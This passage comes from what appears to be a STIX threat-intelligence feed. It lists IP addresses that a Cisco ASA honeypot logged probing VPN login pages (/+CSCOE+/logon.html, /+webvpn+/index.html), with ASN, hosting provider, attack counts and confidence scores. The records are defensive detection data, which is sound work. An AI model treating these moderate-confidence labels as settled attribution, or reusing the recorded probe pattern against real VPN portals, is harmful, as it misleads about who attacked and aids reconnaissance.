      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T22:56:56.560Z",
          "last_seen": "2026-05-26T06:05:21.602Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7b85047a-8cf6-4d23-b183-ce6c9955c8db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T22:39:34.616Z",
          "last_seen": "2026-05-04T22:39:44.023Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--9d7269cf-3220-4fd9-abc2-0e174ba7dc90",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T22:34:02.896Z",
          "last_seen": "2026-05-23T01:09:22.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--ed7de484-ff9b-476a-9f0d-96bde8489cff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T23:08:13.333Z",
          "last_seen": "2026-05-30T03:03:56.692Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--ef86d3b8-3b16-4687-a7f9-cad3fcd61019",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T23:14:36.340Z",
          "last_seen": "2026-05-05T09:14:51.620Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5d5646c5-070a-4c84-a780-7320a737f881",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T22:49:38.706Z",
          "last_seen": "2026-05-30T13:33:28.604Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b0f7735f-7b62-46b3-94cf-38dea6746900",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T22:34:17.927Z",
          "last_seen": "2026-05-23T05:26:20.907Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f6b07711-d4de-4e79-92ed-bc3b194b916d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-04T22:48:51.420Z",
          "last_seen": "2026-05-30T11:13:13.604Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4ea2a625-6a89-4b38-8ac6-392b8f46746e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T22:31:21.501Z",
          "last_seen": "2026-05-27T09:10:28.110Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--19bd30bb-e886-4b96-85ae-a82f26427f79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:20:10.000Z",
      "valid_until": "2026-06-05T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T22:32:29.243Z",
          "last_seen": "2026-05-20T11:07:48.448Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T00:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--595e64ca-40b1-4681-87e4-9182a1bbd35a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:20:20.000Z",
      "valid_until": "2026-06-06T00:20:19.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T00:17:52.726Z",
          "last_seen": "2026-05-09T06:57:12.103Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T00:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--7348250a-4c72-4fdd-abd2-a1d0328b3606",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:20:20.000Z",
      "valid_until": "2026-06-06T00:20:19.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T23:35:32.641Z",
          "last_seen": "2026-05-27T11:07:09.329Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T00:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--03682ecc-195d-459f-81e4-905837a90e1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:20:20.000Z",
      "valid_until": "2026-06-06T00:20:19.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T00:08:42.110Z",
          "last_seen": "2026-05-05T18:31:04.005Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T00:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--ca820263-94d4-4f15-b0f0-012309668b2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:20:20.000Z",
      "valid_until": "2026-06-06T00:20:19.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T00:00:47.491Z",
          "last_seen": "2026-05-24T02:45:30.310Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T00:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--826d7766-b756-4824-ad76-25d7e363d767",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:20:20.000Z",
      "valid_until": "2026-06-06T00:20:19.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T23:32:34.710Z",
          "last_seen": "2026-05-04T23:32:44.533Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T00:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--492e3225-8c3e-4735-a017-7728b56ac396",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:20:20.000Z",
      "valid_until": "2026-06-06T00:20:19.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T23:43:49.128Z",
          "last_seen": "2026-05-23T08:25:46.924Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T00:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--04953b95-2780-414c-bb34-2d1dfdd510eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:20:20.000Z",
      "valid_until": "2026-06-06T00:20:19.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-04T23:20:17.512Z",
          "last_seen": "2026-05-30T00:27:12.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4bf46280-b28c-4807-a7b5-fbf6049a8a4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T01:40:21.673Z",
          "last_seen": "2026-05-26T13:54:17.208Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--762bf2ff-18be-44ae-8df4-889855b83c9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T01:55:39.384Z",
          "last_seen": "2026-05-05T01:55:47.172Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d0e6486c-b588-4ed9-af55-c03748ada914",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T01:58:14.589Z",
          "last_seen": "2026-05-23T02:31:17.614Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
